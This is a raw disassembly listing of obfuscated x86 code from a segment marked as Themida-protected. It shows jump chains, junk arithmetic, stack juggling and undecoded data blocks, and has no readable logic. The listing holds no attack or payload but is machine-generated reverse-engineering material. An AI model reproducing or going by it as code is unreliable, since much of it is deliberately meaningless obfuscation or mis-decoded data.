		dd 0E909D9E7h, 8E1C15Dh, 81FFC183h, 201205C1h, 8BCA0152h
		dd 0C481240Ch, 4, 0D978E9h, 241C8900h, 7D8CE956h, 54530000h
		dd 0DDBA525Bh, 812AFC74h, 0E74A43C2h, 0E9DAF726h, 0A31Eh
; ---------------------------------------------------------------------------


loc_553A8C:				; CODE XREF: Themida_:005610E2j
		mov	ebp, esp
		jmp	loc_558ABF
; ---------------------------------------------------------------------------


loc_553A93:				; CODE XREF: Themida_:005641E7j
		add	eax, ebx
		add	eax, 2A545529h
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		shr	eax, 0Eh
		xor	eax, ecx
		push	2180h
		mov	[esp], eax
		push	78F1h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		jmp	loc_56691D
; ---------------------------------------------------------------------------


loc_553AC9:				; CODE XREF: Themida_:005649E4j
		pop	ecx
		jmp	loc_562996
; ---------------------------------------------------------------------------


loc_553ACF:				; CODE XREF: Themida_:00565D23j
		shr	ebx, 4
		push	ecx
		mov	ecx, 0F9D1AEBh
		and	ebx, ecx
		jmp	loc_55CDCA
; ---------------------------------------------------------------------------
aISjn		db '‰Î醭',0
		align 2


loc_553AE6:				; CODE XREF: Themida_:00554ACFj
		add	esi, 4
		push	eax
		jmp	loc_552F1F
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5924488Fh, 3892C681h, 5658134Ah, 42474FFh, 14F0E95Eh
		dd 5D660000h, 8BD02966h, 0C4812414h, 4,	58C32966h, 96F6E9h
		dd 4C78100h, 81000000h,	4C7h, 243C8700h, 10D1FE9h, 2DD00100h
		dd 1CA3208Ch, 4BD555Ah,	0E9000000h, 8CBDh, 45E1EF81h, 0F7816E5Eh
		dd 0DBC2306Ah, 476CE9h
		db 0
; ---------------------------------------------------------------------------


loc_553B59:				; CODE XREF: Themida_:00560527j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_558EBC
; ---------------------------------------------------------------------------


loc_553B71:				; CODE XREF: Themida_:00554D3Bj
		mov	ebp, ebx
		mov	edx, ebp
		pop	ebp
		pop	ebx
		jmp	loc_560771
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 9B0AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553B8A:				; CODE XREF: Themida_:0056463Fj
		mov	[esp], edx
		jmp	loc_55D9CD
; ---------------------------------------------------------------------------


loc_553B92:				; CODE XREF: Themida_:00553E3Ej
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	44B5h
		jmp	loc_565CBB
; ---------------------------------------------------------------------------
aIssvc		db 'ˆè颿',0
		db 0
; ---------------------------------------------------------------------------


loc_553BAD:				; CODE XREF: Themida_:00557C16j
		mov	eax, [esp]
		jmp	loc_557BC2
; ---------------------------------------------------------------------------


loc_553BB5:				; CODE XREF: Themida_:00564B74j
		mov	cl, al
		pop	eax
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 8Ch
		xor	bl, 5Dh
		xor	bl, 0CBh
		add	bl, 0E2h
		sub	al, 0F5h
		sub	al, bl
		add	al, 0F5h
		pop	ebx
		jmp	loc_55BBE3
; ---------------------------------------------------------------------------


loc_553BD9:				; CODE XREF: Themida_:0055B5A0j
		push	27E8h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	610Eh
		mov	[esp], ebx
		mov	ebx, 800000h
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55DD38
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 2434FF04h, 4C4815Eh, 0E9000000h,	0FFFFF1E9h
		dd 5724048Bh, 9C3EE9h
		db 0
; ---------------------------------------------------------------------------


loc_553C2D:				; CODE XREF: Themida_:0055A2C2j
		add	edx, 0D77FEFF4h
		add	ebx, edx
		jmp	loc_561F2E
; ---------------------------------------------------------------------------


loc_553C3A:				; CODE XREF: Themida_:00555FA9j
		sub	ebx, ecx
		pop	ecx
		add	ebx, edi
		push	edi
		mov	edi, 3C58543Ch
		shr	edi, 1
		shl	edi, 3
		jmp	loc_5532D4
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0CD89555Dh, 8B5DEA89h, 0C483240Ch, 0A02CE904h, 75BD0000h
		dd 92B3F6Ah, 55525DE8h,	4C7E9h,	0FFE82000h, 0C8B2434h
		dd 4C48124h, 0E9000000h, 8553h,	8245C29h, 83241C8Bh, 0E95A04C4h
		dd 0FFFFEFA4h, 0C8B4E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553C9A:				; CODE XREF: Themida_:00561372j
		add	esi, 8B21F22h
		xor	ebp, esi
		jmp	loc_56718E
; ---------------------------------------------------------------------------


loc_553CA7:				; CODE XREF: Themida_:00558FDBj
		inc	ecx
		xor	ecx, 5533A502h
		xor	ecx, edi
		pop	edi
		mov	esi, ecx
		pop	ecx
		jmp	loc_5677D5
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 32h
		dd 0FFEF77E9h, 4C483FFh, 31240C33h, 0C33240Ch, 0BD555C24h
		dd 366C5DB3h, 304C6857h, 3C8B5DFEh, 4C48124h, 4F000000h
		dd 644BF781h, 0F90156A5h, 0DBB535Fh, 81482059h,	745470EBh
		dd 614DE9C9h, 815E0000h, 2E51ACF6h, 0E9F28917h,	3F47h
		dd 0BB241C89h, 4, 1C8BD901h, 0FFA3E924h, 8159FFFFh, 0FFFFFFC1h
		dd 81D1F7FFh, 15FE7E1h,	0E165E93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553D32:				; CODE XREF: Themida_:0055559Fj
		pop	edi
		add	edi, eax
		pop	eax
		or	esi, edi
		mov	edi, [esp]
		jmp	loc_564375
; ---------------------------------------------------------------------------
		dd 0FE01EA80h, 5BF280CAh, 8904EC83h, 69E9240Ch
		db 2Dh,	1, 0
; ---------------------------------------------------------------------------


loc_553D53:				; CODE XREF: Themida_:0056024Bj
		xor	ebp, esi
		jmp	loc_562350
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 1B3h
; ---------------------------------------------------------------------------


loc_553D60:				; CODE XREF: Themida_:0055EB64j
		push	ecx
		mov	ch, dh
		jmp	loc_5552DE
; ---------------------------------------------------------------------------
		dd 3973CBEh, 0E9CE29DEh, 92ABh,	240C8B66h, 1426EE9h, 24248900h
		dd 4240481h, 8F000000h,	4832404h, 815E0424h, 4ECh, 240C8900h
		dd 7974EDB9h, 0A8B85026h, 2D2BEF44h, 5268B991h,	48BC101h
		dd 4C48324h, 0F6E9CE01h, 0F7000034h, 4E1C1D1h, 1E981h
		dd 55570000h, 0B5165568h, 242C8B5Ah, 0E904C483h, 5024h
		dd 0B4CD815Bh, 8178AE13h, 0FF0104EDh, 0FFEF311Eh, 2C8B2434h
		dd 4C48324h, 57E28952h,	941C99BFh, 8AEF812Ah, 812C536Ah
		dd 0ED511ACFh, 1BEF811Ah, 1FEEDF3h, 0DCE95FFAh,	5D00011Fh
		dd 11F3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_553E15:				; CODE XREF: Themida_:00557BD5j
		mov	esi, 0DD79F9h
		xor	edi, esi
		pop	esi
		jmp	loc_5652F9
; ---------------------------------------------------------------------------


loc_553E22:				; CODE XREF: Themida_:0055B3B3j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	36EDh
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_553B92
; ---------------------------------------------------------------------------


loc_553E43:				; CODE XREF: Themida_:00567A5Cj
		mov	[esp], edx
		xor	dword ptr [esp], 63A602C8h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_555215
; ---------------------------------------------------------------------------
		db 53h
		dd 6A761EBBh, 0E5F0E97Ch, 0DA310000h, 8BD0895Bh, 0F1E92414h
		dd 81000116h, 950518EEh, 0E9F1290Ch, 13FFFh
; ---------------------------------------------------------------------------


loc_553E80:				; CODE XREF: Themida_:0055BD97j
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, [esp]
		jmp	loc_55E0CA
; ---------------------------------------------------------------------------
		db 45h,	0F7h, 0D5h
		dd 3018ED81h, 0E8015DA2h, 42D5Dh, 40E90000h, 66000093h
		dd 0E9240C8Bh, 0FFFFFBC6h, 0D089FA89h, 10623E9h
		db 0
; ---------------------------------------------------------------------------


loc_553EB9:				; CODE XREF: Themida_:00559438j
		push	eax
		push	ecx
		push	284702A7h
		jmp	loc_557398
; ---------------------------------------------------------------------------


loc_553EC5:				; CODE XREF: Themida_:00555231j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5631FC
; ---------------------------------------------------------------------------


loc_553ECF:				; CODE XREF: Themida_:0055CAB6j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		push	ebx
		mov	ebx, 5C070500h
		mov	esi, 5C070504h
		sub	esi, ebx
		jmp	loc_55E200
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 104C483h, 0FF515FF9h, 59042474h, 5C24048Fh, 11D9BE9h
		dd 0E3895300h, 4BA52h, 72E90000h, 100008Ch, 6EA3E9C6h
		dd 565E0000h, 4BEh, 5FC58100h, 1487817h, 5FED81F5h, 0FF487817h
		dd 505E2434h, 405E089h,	83000000h, 48704C0h, 2C875C24h
		dd 83575C24h, 19E904ECh, 5100005Eh, 76E1B966h, 51F18166h
		dd 0EA816647h, 0A0E90B0Eh, 89000092h, 62F8E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553F6A:				; CODE XREF: Themida_:005649BEj
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		and	eax, esi
		jmp	loc_559947
; ---------------------------------------------------------------------------


loc_553F78:				; CODE XREF: Themida_:00566329j
		sub	al, 46h
		push	ecx
		mov	cl, 0B0h
		inc	cl
		sub	cl, 95h
		add	cl, 0F7h
		xor	cl, 2
		sub	al, cl
		pop	ecx
		add	al, bl
		push	edx
		mov	dl, 11h
		add	al, dl
		pop	edx
		add	al, 46h
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55E6F3
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 4EC8304h, 0BF243C89h, 3B3B01B4h, 0C455E952h,	4BD0000h
		dd 1000000h, 3C875DEFh,	0C4815C24h, 4, 4C481h, 0EC810000h
		dd 4, 50243C89h, 0B5C1068h, 24048B41h, 0C27BE9h, 11F28100h
		dd 89D1A7DFh, 43055AD0h, 818AD5FBh, 181BC0E9h, 0E9C1012Ch
		dd 2248h, 4EC81h, 34890000h, 3E06BE24h,	0DEF73A7Ch, 0CAEE814Eh
		dd 8124F808h, 7D4DA5CEh, 8AC1E908h, 81460000h, 82042FF6h
		dd 7928E941h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554042:				; CODE XREF: Themida_:00565865j
		pop	esp
		jmp	loc_567F15
; ---------------------------------------------------------------------------
		dd 668DED81h, 0EF090991h, 0E9D7F75Dh, 13ECCh
; ---------------------------------------------------------------------------


loc_554058:				; CODE XREF: Themida_:0055D0A8j
		sub	ebx, edi
		pop	edi
		shl	ebx, 1
		add	ebx, 25B4B7Bh
		dec	ebx
		not	ebx
		add	ebx, 986135DCh
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edi
		pop	edi
		shr	eax, 10h
		xor	eax, ecx
		push	4CB3h
		mov	[esp], eax
		xor	[esp], eax
		jmp	loc_55EE8A
; ---------------------------------------------------------------------------


loc_55408C:				; CODE XREF: Themida_:0055B7C8j
		pop	ebx
		and	ebx, 54D5320Dh
		xor	ebx, 10013209h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_55A1FC
; ---------------------------------------------------------------------------


loc_5540AC:				; CODE XREF: Themida_:00558E4Dj
		neg	ebp
		sub	ebp, 49220BCh
		mov	esi, ebp
		jmp	loc_563E44
; ---------------------------------------------------------------------------
aZsC		db 'Zé>C',0
		dd 0EB72E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5540C6:				; CODE XREF: Themida_:005532C3j
		mov	eax, 9C4157Fh
		sub	[esp+4], eax
		pop	eax
		pop	ebp
		push	ecx
		mov	ecx, 0D216871h
		and	ecx, 7C653828h
		xor	ecx, 5E53D5Fh
		add	ebp, ecx
		pop	ecx
		jmp	loc_566E35
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 53E7h, 649A68h, 243C8900h, 0CDE9DF89h, 52FFFFEEh
		dd 0FFFBFFBAh, 1C5721FFh, 8B2434FFh, 10E92414h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554117:				; CODE XREF: Themida_:005602DDj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_558918
; ---------------------------------------------------------------------------


loc_554120:				; CODE XREF: Themida_:00554441j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6A647880h
		shl	eax, 1
		sub	eax, 0FFFFFFFFh
		jmp	loc_55831B
; ---------------------------------------------------------------------------
		dd 7F6B7368h, 0EA895D3Bh, 10DBAE9h, 2434FF00h, 582434FFh
		dd 97CFE9h, 6EAC100h, 4EC81h, 0C890000h, 56FFB924h, 0F1814E93h
		dd 4CC589D4h, 2D59CA31h, 799F377Ch, 5055D001h, 892DA9B8h
		dd 0B30BD5Fh, 0C501FA3Bh, 0FAE94D58h, 0FF0000A9h, 0F7E92434h
		dd 89000067h, 4C681E6h,	52000000h, 29716DBAh, 6EAC134h
		dd 0F6FEA81h, 424A5860h, 0A1A9C281h, 0EAD19C7Bh, 5585E9h
		db 0
; ---------------------------------------------------------------------------


loc_5541B5:				; CODE XREF: Themida_:005581B3j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_556AEC
; ---------------------------------------------------------------------------


loc_5541C0:				; CODE XREF: Themida_:00563F1Fj
		mov	[esp], ax
		mov	ah, 82h
		add	dl, 76h
		add	dl, ah
		jmp	loc_55B1F5
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 7C166800h, 2C890000h, 4EC8324h, 68242489h
		dd 10DFh, 0BB241C89h, 4, 4245C01h, 0C5815D5Bh, 4, 0ABE2E9h
		dd 0E7E95600h, 59000126h, 875DEA09h, 14F753DAh,	0DA315B24h
		dd 0DA31D331h, 8224F281h, 3A05B304h, 5009902h, 2FB51ECCh
		dd 0CC2DD001h, 2D2FB51Eh, 99023Ah, 8124148Bh, 4C4h, 1E56E900h
		dd 0F7660001h, 0E99C241Ch, 0FFFFE9E8h, 6824248Bh, 7B06h
		dd 0E9241489h, 0B8E5h
; ---------------------------------------------------------------------------


loc_554260:				; CODE XREF: Themida_:00564808j
		push	ebx
		jmp	loc_55B01F
; ---------------------------------------------------------------------------
		dw 0B768h
		dd 5943042Dh, 0F3E9D9F7h, 890000B1h, 29E7E9E1h,	57580000h
		dd 855EE9h, 5EF32100h, 7340EB81h, 902DC8D3h, 2942487Fh
		dd 7F9005D8h, 685B4248h, 5667h,	26FEE9h, 0C1E95700h
		db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5542A7:				; CODE XREF: Themida_:00567A95j
		add	ecx, edi
		jmp	loc_558AE2
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0D8E8E906h, 0E9590000h, 0ACF4h
; ---------------------------------------------------------------------------


loc_5542BC:				; CODE XREF: Themida_:005660CBj
		mov	esi, 6D8C7BA8h
		shl	esi, 4
		or	esi, 572051FFh
		neg	esi
		dec	esi
		add	esi, 0DFE7FC04h
		add	ecx, esi
		jmp	loc_56028C
; ---------------------------------------------------------------------------
		dw 0D2BEh
		dd 2914680Eh, 0C7815EF7h, 1BF74A0Bh, 6B32E9h
		db 0
; ---------------------------------------------------------------------------


loc_5542ED:				; CODE XREF: Themida_:005536CAj
		sub	eax, 0FFFFFFFFh
		jmp	loc_56515F
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFFEh, 8901E9h
		db 0
; ---------------------------------------------------------------------------


loc_554301:				; CODE XREF: Themida_:00555469j
		pop	esp
		and	ecx, 230B6EFFh
		sub	ecx, 0E34C0413h
		push	ecx
		xor	dword ptr [esp], 6B283CB6h
		pop	eax
		xor	eax, 6B283CB6h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55A868
; ---------------------------------------------------------------------------


loc_554327:				; CODE XREF: Themida_:00558AFEj
		mov	ebx, 0
		add	ebx, ecx
		add	eax, [ebx]
		jmp	loc_55F873
; ---------------------------------------------------------------------------


loc_554335:				; CODE XREF: Themida_:005603DAj
		mov	[esp], ebx
		jmp	loc_5598F4
; ---------------------------------------------------------------------------


loc_55433D:				; CODE XREF: Themida_:00563A85j
		pop	ecx
		jmp	loc_5630D4
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4D02869h, 0B2526669h, 0D22E9CDh, 68660001h, 89663DFDh
		dd 30B42404h, 5866E300h, 4DA768h, 240C8900h, 50AFB753h
		dd 0C588F888h, 8124048Bh, 4C4h,	2434FF00h, 0D119E9h, 4C18300h
		dd 5C240C87h, 2BD55h, 0EE010000h, 2434335Dh, 33243431h
		dd 0D25C2434h, 0E99C242Ch, 13998h, 55BDA01h, 44FE37A2h
		dd 5CE9D001h, 5600013Bh, 191F68h, 242C8900h, 0F15DC268h
		dd 0BE565D22h, 61453470h, 0F4AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5543CD:				; CODE XREF: Themida_:0055B366j
		shl	al, 1
		or	al, 18h
		shr	al, 7
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 91h
		or	bh, 4Eh
		jmp	loc_55F250
; ---------------------------------------------------------------------------
aTzsp		db 'TZéÑ',0
		align 4
		dd 0FF242C89h, 0FF042474h, 835D2434h, 48F04C4h,	6A17E924h
		dd 0E95C0000h, 0EAE1h, 405h, 2014E900h,	8B660000h, 0BD682404h
		dd 89000001h, 0ABE9241Ch, 0FF000127h, 5A042474h, 6A05E9h
		dd 4C68300h, 114BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_554435:				; CODE XREF: Themida_:0055DDFEj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_554120
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8951240Ch, 332A68E1h, 34890000h, 2790BE24h, 895035E5h
		dd 405E0h, 42D0000h, 87000000h,	248B2404h, 241C8924h, 8904EC83h
		dd 5BD242Ch, 815C6763h,	1A1E35F5h, 0D1E5D13Eh, 80C581E5h
		dd 5190D862h, 112C0E9h,	6AC4B900h, 4FE97FE1h, 1000063h
		dd 0EF835AD7h, 6EFC1FFh, 0EFC1D7F7h, 0EBBA5208h, 0E960AB07h
		dd 702Eh
; ---------------------------------------------------------------------------


loc_5544B4:				; CODE XREF: Themida_:0055A150j
		sub	edx, esi
		pop	esi
		jmp	loc_55FED5
; ---------------------------------------------------------------------------


loc_5544BC:				; CODE XREF: Themida_:0055535Aj
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_562A8E
; ---------------------------------------------------------------------------
		dd 5C242C87h, 87240C89h, 9CE9243Ch
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5544DB:				; CODE XREF: Themida_:005556B4j
		sub	ebx, 594343B9h
		and	ebx, 22E32937h
		xor	ebx, 58535BF4h
		sub	ebp, ebx
		pop	ebx
		sub	ebp, 692954BAh
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	5EB5h
		mov	[esp], ecx
		mov	ecx, 40000h
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_55BA23
; ---------------------------------------------------------------------------
		dd 4BF57h, 0E7E90000h, 89000113h, 0BD552434h, 31C70390h
		dd 82536ABEh, 5DEE01E9h, 8102EEC1h, 4ECh, 24148900h, 0E40CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554541:				; CODE XREF: Themida_:0056737Bj
		add	ebp, 0FFFFFFFFh
		jmp	loc_558190
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 33243C31h, 248B243Ch, 0E7895724h, 0E904EC83h, 0FFFFEF9Ch
		dd 9E4AE868h, 0E181595Ch, 4F9A30A1h, 743BE181h,	0FDE912D2h
		dd 0F7000026h, 243C87D7h, 371EE959h, 8A5B0001h,	8802244Ch
		dd 0E9022454h, 133A1h
; ---------------------------------------------------------------------------


loc_554590:				; CODE XREF: Themida_:0055B882j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	31D4h
		mov	[esp], eax
		xchg	esi, [esp]
		xchg	ebp, esi
		jmp	loc_559DC9
; ---------------------------------------------------------------------------
		db 0B0h, 0D1h, 0E9h
		dd 0FFFFE9E6h
; ---------------------------------------------------------------------------


loc_5545C0:				; CODE XREF: Themida_:00567BEDj
		and	edx, 95D5158h
		xor	edx, offset dword_545004
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_56679B
; ---------------------------------------------------------------------------
		dw 57BBh
		dd 0E9700545h, 0A35Fh, 2404875Ch, 8924248Bh, 49E92414h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5545EF:				; CODE XREF: Themida_:0055C3A8j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4912B52h
		inc	edx
		not	edx
		jmp	loc_55D057
; ---------------------------------------------------------------------------


loc_554609:				; CODE XREF: Themida_:00563EECj
		mov	ecx, 77BD797Eh
		shr	ecx, 1
		shl	ecx, 5
		not	ecx
		inc	ecx
		push	ebp
		mov	ebp, 179DF82Ch
		sub	ecx, 0B555A5Ah
		sub	ecx, 371A7DD0h
		add	ecx, 3DB283Ch
		sub	ecx, ebp
		sub	ecx, 3DB283Ch
		add	ecx, 371A7DD0h
		push	esi
		jmp	loc_56007B
; ---------------------------------------------------------------------------
		dw 0F750h
		dd 35582414h, 0BD369E9Eh, 0D4E9C389h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_554653:				; CODE XREF: Themida_:00567C84j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	5205h
		mov	[esp], edx
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 1C723D09h
		add	ebp, 0E38DC2FBh
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55753F
; ---------------------------------------------------------------------------
aSqsi		db 'SQéëÕ',0
		dw 0FF00h
		dd 34FF2434h, 24048B24h, 3A98E9h, 24048F00h, 4240483h
		dd 0E92434FFh, 0FE7Fh, 94EB815Bh, 1D72412h, 39BCE9DFh
		dd 8F5D0001h, 2D5C2404h, 16FF7D0Ah, 8BE9E9h, 39BA5200h
		dd 0D151250Ch, 0CA8142EAh, 6E755E0Eh, 73A7EA81h, 0D1014DD9h
		dd 4E9C15Ah, 0C6BE5655h, 0F7187A4Bh, 0E9D6F7DEh, 82DEh
; ---------------------------------------------------------------------------


loc_554700:				; CODE XREF: Themida_:005673EDj
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 41D76678h
		shl	edx, 2
		shl	edx, 4
		sub	edx, 1A7117E1h
		sub	edx, 393330F5h
		xor	ebp, edx
		pop	edx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_5663B6
		push	dword ptr [edi+28h]
		jmp	loc_55A43A
; ---------------------------------------------------------------------------
aTRPtfpsx	db 'T^RºTfPéx=',0
		align 2
		dw 0C380h
		dd 80C3FE93h, 0FE957F3h, 8800003Fh, 3CE953DCh, 1000067h
		dd 30E95EF5h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554763:				; CODE XREF: Themida_:00565302j
		mov	ebx, 4BC80029h
		add	esi, ebx
		pop	ebx
		pop	edi
		jmp	loc_5647C1
; ---------------------------------------------------------------------------


loc_554771:				; CODE XREF: Themida_:005550E8j
		xor	ebx, ecx
		pop	ecx
		sub	[edi+24h], ebx
		jmp	loc_5649AD
; ---------------------------------------------------------------------------
		dd 4247C01h, 0C4BBE95Fh, 0E9010000h, 20C1815Dh,	29BFCEA2h
		dd 0FD3159CFh, 81243C8Bh, 4C4h,	5DEF2900h, 5C9568h, 243C8900h
		dd 42474FFh, 81243C8Bh,	4C4h, 24048F00h, 40B5E95Ch, 4AC0000h
		dd 0E999048Bh, 429Ah, 34FFCE30h, 0D25BE924h, 68510000h
		dd 2DAF323Ch, 6B12E9h, 0EE815E00h, 37CA24E6h, 0D36EC681h
		dd 0F289656Eh, 11C4E95Eh
		db 1, 0
; ---------------------------------------------------------------------------


loc_5547F2:				; CODE XREF: Themida_:00567F1Fj
		push	ecx
		push	edx
		mov	edx, 6CA06975h
		jmp	loc_562B68
; ---------------------------------------------------------------------------
aS7i		db '\é7ë',0
		align 4


loc_554804:				; CODE XREF: Themida_:00567829j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55F725
; ---------------------------------------------------------------------------
aWhsu		db 'Wh‘u',0
		dd 4EC8300h, 6EA4E954h,	83580000h, 1C3304EBh, 241C3124h
		dd 5C241C33h, 83241489h, 3C8904ECh, 27ECBF24h, 7C312B4Ah
		dd 0BCE90424h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55484B:				; CODE XREF: Themida_:00554DADj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55EA7A
; ---------------------------------------------------------------------------
		dd 4C481h, 0E72C0000h, 0C4E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_554861:				; CODE XREF: Themida_:0056165Fj
		xor	bl, dh
		pop	edx
		and	bl, 95h
		sub	bl, 40h
		xor	ch, bl
		jmp	loc_55E81A
; ---------------------------------------------------------------------------


loc_554871:				; CODE XREF: Themida_:0056693Dj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_564755
; ---------------------------------------------------------------------------
		align 10h
		dd 1AE5E9F0h
		db 1, 0
; ---------------------------------------------------------------------------


loc_554886:				; CODE XREF: Themida_:005626EBj
		mov	ebp, 52200648h
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		jmp	loc_55AE6C
; ---------------------------------------------------------------------------
		db 29h,	0D3h, 5Ah
		dd 8CFFE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55489E:				; CODE XREF: Themida_:005536ACj
		push	ebx
		jmp	loc_567240
; ---------------------------------------------------------------------------
aIH1e		db '‰<$h1e',0
		align 4
		dd 81242489h, 42404h, 0E95F0000h, 8327h, 1C8BDF89h, 0E1895124h
		dd 0FFC8E9h, 5E08900h, 4, 405h,	0F6BDE900h, 0EB010000h
		dd 4EC815Dh, 89000000h,	3B9240Ch, 3107DE6Bh, 0C38159CBh
		dd 56337E11h, 0A5E94093h, 560000CEh, 0C681E689h, 4, 8704C683h
		dd 8F5C2434h, 0CDE92404h, 5C0000CEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 6B6D7B6Eh
		mov	edi, ecx
		pop	ecx
		mov	ebx, 3C9E6A33h
		xor	ebx, edi
		jmp	loc_5576AF
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 0A554E9h, 4C68100h, 0E9000000h, 10089h, 0E2D2E95Eh
		dd 8B66FFFFh, 0B668240Ch, 89000054h, 5954240Ch,	33C7E956h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55497A:				; CODE XREF: Themida_:0055619Dj
		pop	ebp
		sub	ebp, 15D5D2Ah
		pop	edx
		push	ebx
		mov	ebx, 27BA3FADh
		sub	ebx, 1F443855h
		jmp	loc_554D17
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 4EC8104h, 0E9000000h, 14D5h, 0E959CA29h
		dd 2A16h
; ---------------------------------------------------------------------------


loc_5549AC:				; CODE XREF: Themida_:0055C61Aj
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 1EDF5E63h
		push	eax
		mov	eax, ebp
		jmp	loc_55FCCD
; ---------------------------------------------------------------------------
		dd 84C30BFh, 0F7814F38h, 0CC5489Dh, 0E903EFC1h,	0FFFFEF7Bh
		dd 2C8BE921h, 0E0895024h, 9ADCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5549E1:				; CODE XREF: Themida_:0056243Ej
		xor	ecx, 12906296h
		dec	ecx
		xor	ecx, 64585435h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0FA4DE73Ch
		sub	ecx, 1D3C7C23h
		add	ecx, ebp
		add	ecx, 1D3C7C23h
		pop	ebp
		push	3476h
		jmp	loc_553809
; ---------------------------------------------------------------------------


loc_554A15:				; CODE XREF: Themida_:0055E2B5j
		add	edi, 5CC70445h
		inc	edi
		not	edi
		and	edi, 2FEE4379h
		sub	edi, 76221487h
		xor	edi, 2AA88B5Ch
		xor	esi, edi
		pop	edi
		add	edx, esi
